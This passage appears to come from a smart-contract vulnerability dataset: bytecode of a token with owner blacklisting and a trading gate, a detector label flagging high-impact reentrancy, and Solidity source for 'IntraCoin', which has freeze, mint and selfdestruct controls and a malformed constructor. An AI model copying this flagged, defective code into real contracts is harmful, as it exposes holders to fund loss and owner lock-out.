bc8565b6108db565b3480156104a457600080fd5b506101f16104b3366004611be0565b61090a565b3480156104c457600080fd5b506102586104d3366004611a3d565b610948565b3480156104e457600080fd5b506102586104f336600461198d565b60106020526000908152604090205460ff1681565b34801561051457600080fd5b506101f1610955565b34801561052957600080fd5b506101f1610538366004611a68565b6109a9565b34801561054957600080fd5b506102b66105583660046119c5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058f57600080fd5b506101f161059e366004611bc8565b610a58565b3480156105af57600080fd5b506101f16105be36600461198d565b610a87565b6000546001600160a01b031633146105f65760405162461bcd60e51b81526004016105ed90611c64565b60405180910390fd5b60005b815181101561066c5760016010600084848151811061062857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066481611d77565b9150506105f9565b5050565b600061067d338484610b71565b5060015b92915050565b6000610694848484610c95565b6106e684336106e185604051806060016040528060288152602001611dd4602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111d1565b610b71565b5060019392505050565b6000546001600160a01b0316331461071a5760405162461bcd60e51b81526004016105ed90611c64565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107655760405162461bcd60e51b81526004016105ed90611c64565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107b857506013546001600160a01b0316336001600160a01b0316145b6107c157600080fd5b476107cb8161120b565b50565b6001600160a01b03811660009081526002602052604081205461068190611290565b6000546001600160a01b0316331461081a5760405162461bcd60e51b81526004016105ed90611c64565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088e5760405162461bcd60e51b81526004016105ed90611c64565b601655565b6000546001600160a01b031633146108bd5760405162461bcd60e51b81526004016105ed90611c64565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109055760405162461bcd60e51b81526004016105ed90611c64565b601855565b6000546001600160a01b031633146109345760405162461bcd60e51b81526004016105ed90611c64565b600893909355600a91909155600955600b55565b600061067d338484610c95565b6012546001600160a01b0316336001600160a01b0316148061098a57506013546001600160a01b0316336001600160a01b0316145b61099357600080fd5b600061099e306107ce565b90506107cb81611314565b6000546001600160a01b031633146109d35760405162461bcd60e51b81526004016105ed90611c64565b60005b82811015610a52578160056000868685818110610a0357634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a18919061198d565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4a81611d77565b9150506109d6565b50505050565b6000546001600160a01b03163314610a825760405162461bcd60e51b81526004016105ed90611c64565b601755565b6000546001600160a01b03163314610ab15760405162461bcd60e51b81526004016105ed90611c64565b6001600160a01b038116610b165760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ed565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bd35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ed565b6001600160a01b038216610c345760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ed565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cf95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ed565b6001600160a01b038216610d5b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ed565b60008111610dbd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ed565b6000546001600160a01b03848116911614801590610de957506000546001600160a01b03838116911614155b156110ca57601554600160a01b900460ff16610e82576000546001600160a01b03848116911614610e825760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ed565b601654811115610ed45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ed565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1657506001600160a01b03821660009081526010602052604090205460ff16155b610f6e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ed565b6015546001600160a01b03838116911614610ff35760175481610f90846107ce565b610f9a9190611d09565b10610ff35760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ed565b6000610ffe306107ce565b6018546016549192508210159082106110175760165491505b80801561102e5750601554600160a81b900460ff16155b801561104857506015546001600160a01b03868116911614155b801561105d5750601554600160b01b900460ff165b801561108257506001600160a01b03851660009081526005602052604090205460ff16155b80156110a757506001600160a01b03841660009081526005602052604090205460ff16155b156110c7576110b582611314565b4780156110c5576110c54761120b565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061110c57506001600160a01b03831660009081526005602052604090205460ff165b8061113e57506015546001600160a01b0385811691161480159061113e57506015546001600160a01b03848116911614155b1561114b575060006111c5565b6015546001600160a01b03858116911614801561117657506014546001600160a01b03848116911614155b1561118857600854600c55600954600d555b6015546001600160a01b0384811691161480156111b357506014546001600160a01b03858116911614155b156111c557600a54600c55600b54600d555b610a52848484846114b9565b600081848411156111f55760405162461bcd60e51b81526004016105ed9190611c11565b5060006112028486611d60565b95945050505050565b6012546001600160a01b03166108fc6112258360026114e7565b6040518115909202916000818181858888f1935050505015801561124d573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112688360026114e7565b6040518115909202916000818181858888f1935050505015801561066c573d6000803e3d6000fd5b60006006548211156112f75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ed565b6000611301611529565b905061130d83826114e7565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113be57600080fd5b505afa1580156113d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f691906119a9565b8160018151811061141757634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461143d9130911684610b71565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611476908590600090869030904290600401611c99565b600060405180830381600087803b15801561149057600080fd5b505af11580156114a4573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114c6576114c661154c565b6114d184848461157a565b80610a5257610a52600e54600c55600f54600d55565b600061130d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611671565b600080600061153661169f565b909250905061154582826114e7565b9250505090565b600c5415801561155c5750600d54155b1561156357565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061158c876116dd565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115be908761173a565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ed908661177c565b6001600160a01b03891660009081526002602052604090205561160f816117db565b6116198483611825565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165e91815260200190565b60405180910390a3505050505050505050565b600081836116925760405162461bcd60e51b81526004016105ed9190611c11565b5060006112028486611d21565b6006546000908190662386f26fc100006116b982826114e7565b8210156116d457505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116fa8a600c54600d54611849565b925092509250600061170a611529565b9050600080600061171d8e87878761189e565b919e509c509a509598509396509194505050505091939550919395565b600061130d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d1565b6000806117898385611d09565b90508381101561130d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ed565b60006117e5611529565b905060006117f383836118ee565b30600090815260026020526040902054909150611810908261177c565b30600090815260026020526040902055505050565b600654611832908361173a565b600655600754611842908261177c565b6007555050565b6000808080611863606461185d89896118ee565b906114e7565b90506000611876606461185d8a896118ee565b9050600061188e826118888b8661173a565b9061173a565b9992985090965090945050505050565b60008080806118ad88866118ee565b905060006118bb88876118ee565b905060006118c988886118ee565b905060006118db82611888868661173a565b939b939a50919850919650505050505050565b6000826118fd57506000610681565b60006119098385611d41565b9050826119168583611d21565b1461130d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ed565b803561197881611dbe565b919050565b8035801515811461197857600080fd5b60006020828403121561199e578081fd5b813561130d81611dbe565b6000602082840312156119ba578081fd5b815161130d81611dbe565b600080604083850312156119d7578081fd5b82356119e281611dbe565b915060208301356119f281611dbe565b809150509250929050565b600080600060608486031215611a11578081fd5b8335611a1c81611dbe565b92506020840135611a2c81611dbe565b929592945050506040919091013590565b60008060408385031215611a4f578182fd5b8235611a5a81611dbe565b946020939093013593505050565b600080600060408486031215611a7c578283fd5b833567ffffffffffffffff80821115611a93578485fd5b818601915086601f830112611aa6578485fd5b813581811115611ab4578586fd5b8760208260051b8501011115611ac8578586fd5b602092830195509350611ade918601905061197d565b90509250925092565b60006020808385031215611af9578182fd5b823567ffffffffffffffff80821115611b10578384fd5b818501915085601f830112611b23578384fd5b813581811115611b3557611b35611da8565b8060051b604051601f19603f83011681018181108582111715611b5a57611b5a611da8565b604052828152858101935084860182860187018a1015611b78578788fd5b8795505b83861015611ba157611b8d8161196d565b855260019590950194938601938601611b7c565b5098975050505050505050565b600060208284031215611bbf578081fd5b61130d8261197d565b600060208284031215611bd9578081fd5b5035919050565b60008060008060808587031215611bf5578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c3d57858101830151858201604001528201611c21565b81811115611c4e5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ce85784516001600160a01b031683529383019391830191600101611cc3565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d1c57611d1c611d92565b500190565b600082611d3c57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d5b57611d5b611d92565b500290565b600082821015611d7257611d72611d92565b500390565b6000600019821415611d8b57611d8b611d92565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107cb57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c8fc11e9409467c6b26f4c80b33f0e47b40027b9982979f77c977a84ee95148f64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,358 |
0xed75938a2cd7b69de9892164d6a78ee42c9141ae
|
pragma solidity ^0.4.18;
contract owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract IntraCoin is owned {
using SafeMath for uint256;
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply_;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) internal allowed;
mapping (address => bool) public frozenAccount;
event Transfer(address indexed from, address indexed to, uint256 value);
event FrozenFunds(address target, bool frozen);
event Burn(address indexed burner, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
event Pause();
event Unpause();
event Approval(address indexed owner, address indexed spender, uint256 value);
bool public paused = false;
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol,
address centralMinter
) IntraCoin(initialSupply, tokenName, tokenSymbol, centralMinter) public {
if(centralMinter != 0 ) owner = centralMinter;
totalSupply_ = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balances[msg.sender] = totalSupply_; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
/* Function to freeze accounts*/
function freezeAccount(address target, bool freeze) public onlyOwner {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
require(_to != address(0));
require(!frozenAccount[msg.sender]); // Check if sending account is frozen
require(!frozenAccount[_to]); // Check if To account is frozen
require(_value <= balances[msg.sender]);
require(balances[_to] + _value > balances[_to]); //Check for overflows
_transfer(msg.sender, _to, _value);
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if sending account is frozen
require(!frozenAccount[msg.sender]);
// Check if From account is frozen
require(!frozenAccount[_from]);
// Check if To account is frozen
require(!frozenAccount[_to]);
// Check if the sender has enough
require(balances[_from] >= _value);
// Check for overflows
require(balances[_to] + _value > balances[_to]);
// Save this for an assertion in the future
uint previousBalances = balances[_from] + balances[_to];
balances[_from] = balances[_from].sub(_value); // Subtract from the sender
balances[_to] = balances[_to].add(_value); // Add the same to the recipient
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balances[_from] + balances[_to] == previousBalances);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]); //Check if sender has enough
require(!frozenAccount[msg.sender]); // Check if From account is frozen
require(!frozenAccount[_from]); // Check if To account is frozen
require(!frozenAccount[_to]); // Check if the sender has enough
require(balances[_to] + _value > balances[_to]); //overflow check
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
require(_value <= totalSupply_);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
function kill() public onlyOwner() {
selfdestruct(owner);
}
}
|
0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461013857806306fdde0314610167578063095ea7b3146101f757806318160ddd1461025c57806323b872dd1461028757806327e235e31461030c578063313ce56714610363578063324536eb146103945780633f4ba83a146103bf57806340c10f19146103d657806341c0e1b51461043b57806342966c68146104525780635c975abb1461047f57806370a08231146104ae5780637d64bcb4146105055780638456cb59146105345780638da5cb5b1461054b57806395d89b41146105a2578063a9059cbb14610632578063b414d4b614610697578063dd62ed3e146106f2578063e724529c14610769578063f2fde38b146107b8575b600080fd5b34801561014457600080fd5b5061014d6107fb565b604051808215151515815260200191505060405180910390f35b34801561017357600080fd5b5061017c61080e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101bc5780820151818401526020810190506101a1565b50505050905090810190601f1680156101e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561020357600080fd5b50610242600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108ac565b604051808215151515815260200191505060405180910390f35b34801561026857600080fd5b5061027161099e565b6040518082815260200191505060405180910390f35b34801561029357600080fd5b506102f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109a8565b604051808215151515815260200191505060405180910390f35b34801561031857600080fd5b5061034d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e92565b6040518082815260200191505060405180910390f35b34801561036f57600080fd5b50610378610eaa565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103a057600080fd5b506103a9610ebd565b6040518082815260200191505060405180910390f35b3480156103cb57600080fd5b506103d4610ec3565b005b3480156103e257600080fd5b50610421600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f82565b604051808215151515815260200191505060405180910390f35b34801561044757600080fd5b50610450611169565b005b34801561045e57600080fd5b5061047d600480360381019080803590602001909291905050506111fe565b005b34801561048b57600080fd5b50610494611425565b604051808215151515815260200191505060405180910390f35b3480156104ba57600080fd5b506104ef600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611438565b6040518082815260200191505060405180910390f35b34801561051157600080fd5b5061051a611481565b604051808215151515815260200191505060405180910390f35b34801561054057600080fd5b50610549611548565b005b34801561055757600080fd5b50610560611608565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105ae57600080fd5b506105b761162d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105f75780820151818401526020810190506105dc565b50505050905090810190601f1680156106245780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561063e57600080fd5b5061067d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506116cb565b604051808215151515815260200191505060405180910390f35b3480156106a357600080fd5b506106d8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118c4565b604051808215151515815260200191505060405180910390f35b3480156106fe57600080fd5b50610753600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118e4565b6040518082815260200191505060405180910390f35b34801561077557600080fd5b506107b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061196b565b005b3480156107c457600080fd5b506107f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a90565b005b600860019054906101000a900460ff1681565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108a45780601f10610879576101008083540402835291602001916108a4565b820191906000526020600020905b81548152906001019060200180831161088757829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b6000600860009054906101000a900460ff161515156109c657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610a0257600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a5057600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610aa957600080fd5b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610b0257600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610b5b57600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401111515610be957600080fd5b610c3b82600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2e90919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cd082600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4790919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610da282600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2e90919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60056020528060005260406000206000915090505481565b600360009054906101000a900460ff1681565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f1e57600080fd5b600860009054906101000a900460ff161515610f3957600080fd5b6000600860006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fdf57600080fd5b600860019054906101000a900460ff16151515610ffb57600080fd5b61101082600454611b4790919063ffffffff16565b60048190555061106882600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4790919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111c457600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561125b57600080fd5b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156112a957600080fd5b60045482111515156112ba57600080fd5b33905061130f82600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2e90919063ffffffff16565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061136782600454611b2e90919063ffffffff16565b6004819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600860009054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114de57600080fd5b600860019054906101000a900460ff161515156114fa57600080fd5b6001600860016101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115a357600080fd5b600860009054906101000a900460ff161515156115bf57600080fd5b6001600860006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116c35780601f10611698576101008083540402835291602001916116c3565b820191906000526020600020905b8154815290600101906020018083116116a657829003601f168201915b505050505081565b6000600860009054906101000a900460ff161515156116e957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561172557600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561177e57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156117d757600080fd5b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561182557600080fd5b600560008473ffffffffffffffffffffffffffffffffffffff